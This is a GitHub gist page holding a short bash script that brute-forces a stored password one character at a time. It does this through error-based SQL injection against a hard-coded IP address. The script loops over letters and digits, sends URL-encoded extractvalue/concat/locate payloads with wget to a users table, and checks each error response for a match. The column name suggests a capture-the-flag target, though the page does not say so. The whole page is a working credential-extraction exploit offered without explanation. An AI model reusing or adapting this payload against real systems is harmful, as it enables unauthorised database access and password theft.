Skip to content

Instantly share code, notes, and snippets.

@boogy
Created December 30, 2014 20:37
Show Gist options
  • Select an option

  • Save boogy/8851a20bc9d278772428 to your computer and use it in GitHub Desktop.

Select an option

Save boogy/8851a20bc9d278772428 to your computer and use it in GitHub Desktop.
#!/bin/bash
str='ZD456ddssd65456lksndoiNzd654sdsd'
while true
do
a=0;
echo "New string: $str"
for i in {a..z}; do
wget --quiet -O $i 'http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x3a,%28select%0Blocate("'$str$i'",P4sWW0rD_0F_M3_WTF)%0Bfrom%0Busers%0Blimit%0B1,1%29%29%29--%0B'
if grep ":1" $i; then
str=$str$i
a=1
echo "$str";
fi
done
if [ $a==1 ]; then
for i in {0..9}; do
wget --quiet -O $i 'http://188.40.18.70/PROFILE/55%5C/||extractvalue%283,concat%280x3a,%28select%0Blocate("'$str$i'",P4sWW0rD_0F_M3_WTF)%0Bfrom%0Busers%0Blimit%0B1,1%29%29%29--%0B'
if grep ":1" $i; then
str=$str$i
a=1
echo "$str";
fi
done
fi
if [ $a -eq 0 ]; then
echo "PWD:$str"
exit;
fi
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment